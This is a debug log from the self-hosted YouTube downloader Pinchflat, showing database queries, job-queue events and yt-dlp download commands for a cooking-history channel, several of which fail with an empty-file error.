09:11:58.957 [debug] QUERY OK source="media_profiles" db=0.1ms idle=559.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 09:11:58.958 [debug] QUERY OK source="media_items" db=0.2ms idle=8.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12040] 09:11:58.958 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12040] 09:11:58.958 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 09:11:58.959 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:11:58.959 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:11:58.959 [debug] Running yt-dlp command for action: get_downloadable_status 09:11:58.960 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:11:58.960 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:11:58.960 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:11:58.960 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/b0/9c/b09cf7fdf034ef54e5a504bae8c4f2fa713b268aa4f596b9deba8f4e52803664.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 09:12:00.378 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:12:02.957 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/b0/9c/b09cf7fdf034ef54e5a504bae8c4f2fa713b268aa4f596b9deba8f4e52803664.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 09:12:02.957 [debug] Running yt-dlp command for action: download 09:12:02.958 [debug] QUERY OK source="settings" db=0.1ms idle=1004.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:12:02.958 [debug] QUERY OK source="settings" db=0.0ms idle=560.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:12:02.958 [debug] QUERY OK source="settings" db=0.1ms idle=560.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:12:02.958 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/57/7e/577e1d2253a1fd75f4e29ca8e7d1e7904439c6028030eec937590283d1e8afa9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 09:12:18.580 [info] {"source":"oban","duration":831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:12:48.582 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:13:00.379 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:13:18.584 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:13:48.585 [info] {"source":"oban","duration":794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:14:00.380 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:14:18.586 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:14:48.587 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:15:00.381 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:15:18.588 [info] {"source":"oban","duration":766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:15:37.864 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/87/4d/874d0e854c4778e4658b4497ef13d5c96eb5a26917bbbe295e6dd0c18ff06780.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 09:15:37.864 [error] yt-dlp download error for media item #12546: "ERROR: The downloaded file is empty\n" 09:15:37.866 [debug] QUERY OK source="media_items" db=1.3ms idle=1467.2ms UPDATE "media_items" SET "last_error" = ?, "updated_at" = ? WHERE "id" = ? ["ERROR: The downloaded file is empty\n", ~U[2026-03-31 13:15:37Z], 12546] 09:15:37.866 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12546},"id":1728,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":292991558,"event":"job:exception","queue_time":491775,"attempt":14,"tags":["media_item","media_fetching","show_in_dashboard"]} 09:15:48.589 [info] {"source":"oban","duration":748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:16:00.382 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:16:18.591 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:16:48.592 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:16:54.840 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/57/7e/577e1d2253a1fd75f4e29ca8e7d1e7904439c6028030eec937590283d1e8afa9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 09:16:54.840 [error] yt-dlp download error for media item #12040: "ERROR: The downloaded file is empty\n" 09:16:54.840 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12040},"id":1729,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":295883883,"event":"job:exception","queue_time":415815,"attempt":14,"tags":["media_item","media_fetching","show_in_dashboard"]} 09:17:00.383 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:17:18.593 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:17:48.594 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:18:00.384 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:18:18.595 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:18:48.596 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:19:00.385 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:19:18.597 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:19:48.598 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:20:00.386 [info] {"source":"oban","duration":193,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:20:18.600 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:20:48.601 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:20:52.575 [info] {"args":{"id":11535},"id":1730,"meta":{},"system_time":1774963252575184409,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":14,"tags":["media_item","media_fetching","show_in_dashboard"]} 09:20:52.575 [debug] QUERY OK source="media_items" db=0.1ms idle=177.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11535] 09:20:52.575 [info] User scripts lifecyle file either not present or is empty. Skipping. 09:20:52.576 [debug] QUERY OK source="sources" db=0.2ms idle=178.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 09:20:52.576 [debug] QUERY OK source="media_profiles" db=0.1ms idle=178.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 09:20:52.576 [debug] QUERY OK source="media_items" db=0.2ms idle=8.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11535] 09:20:52.577 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11535] 09:20:52.577 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 09:20:52.577 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:20:52.578 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:20:52.578 [debug] Running yt-dlp command for action: get_downloadable_status 09:20:52.578 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:20:52.578 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:20:52.579 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:20:52.579 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/67/a1/67a14b47e1239f5c50fa1357e5e2590edc3735356b9d0616d11c2d5eb7a73392.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 09:20:56.667 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/67/a1/67a14b47e1239f5c50fa1357e5e2590edc3735356b9d0616d11c2d5eb7a73392.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 09:20:56.667 [debug] Running yt-dlp command for action: download 09:20:56.668 [debug] QUERY OK source="settings" db=0.1ms idle=270.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:20:56.668 [debug] QUERY OK source="settings" db=0.0ms idle=270.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:20:56.668 [debug] QUERY OK source="settings" db=0.1ms idle=270.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:20:56.668 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/44/27/44273772958c1b169befeddca35069e1a2a66800b4613341695f97e8b5d4616a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 09:21:00.387 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:21:18.603 [info] {"source":"oban","duration":480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:21:48.604 [info] {"source":"oban","duration":823,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:22:00.388 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:22:18.606 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:22:48.607 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:23:00.389 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:23:18.608 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:23:48.609 [info] {"source":"oban","duration":748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:24:00.390 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:24:18.611 [info] {"source":"oban","duration":799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:24:48.613 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:25:00.391 [info] {"source":"oban","duration":192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:25:18.614 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:25:48.616 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:25:56.726 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/44/27/44273772958c1b169befeddca35069e1a2a66800b4613341695f97e8b5d4616a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 09:25:56.726 [error] yt-dlp download error for media item #11535: "ERROR: The downloaded file is empty\n" 09:25:56.728 [debug] QUERY OK source="media_items" db=1.2ms idle=816.8ms UPDATE "media_items" SET "last_error" = ?, "updated_at" = ? WHERE "id" = ? ["ERROR: The downloaded file is empty\n", ~U[2026-03-31 13:25:56Z], 11535] 09:25:56.728 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":11535},"id":1730,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":304153247,"event":"job:exception","queue_time":914735,"attempt":14,"tags":["media_item","media_fetching","show_in_dashboard"]} 09:26:00.392 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:26:18.617 [info] {"source":"oban","duration":859,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:26:48.619 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:27:00.393 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:27:18.620 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:27:48.621 [info] {"source":"oban","duration":799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:28:00.394 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:28:18.623 [info] {"source":"oban","duration":840,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:28:48.625 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:29:00.395 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:29:18.626 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:29:48.627 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:30:00.396 [info] {"source":"oban","duration":255,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:30:18.628 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:30:48.629 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:31:00.397 [info] {"source":"oban","duration":154,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:31:18.630 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:31:48.631 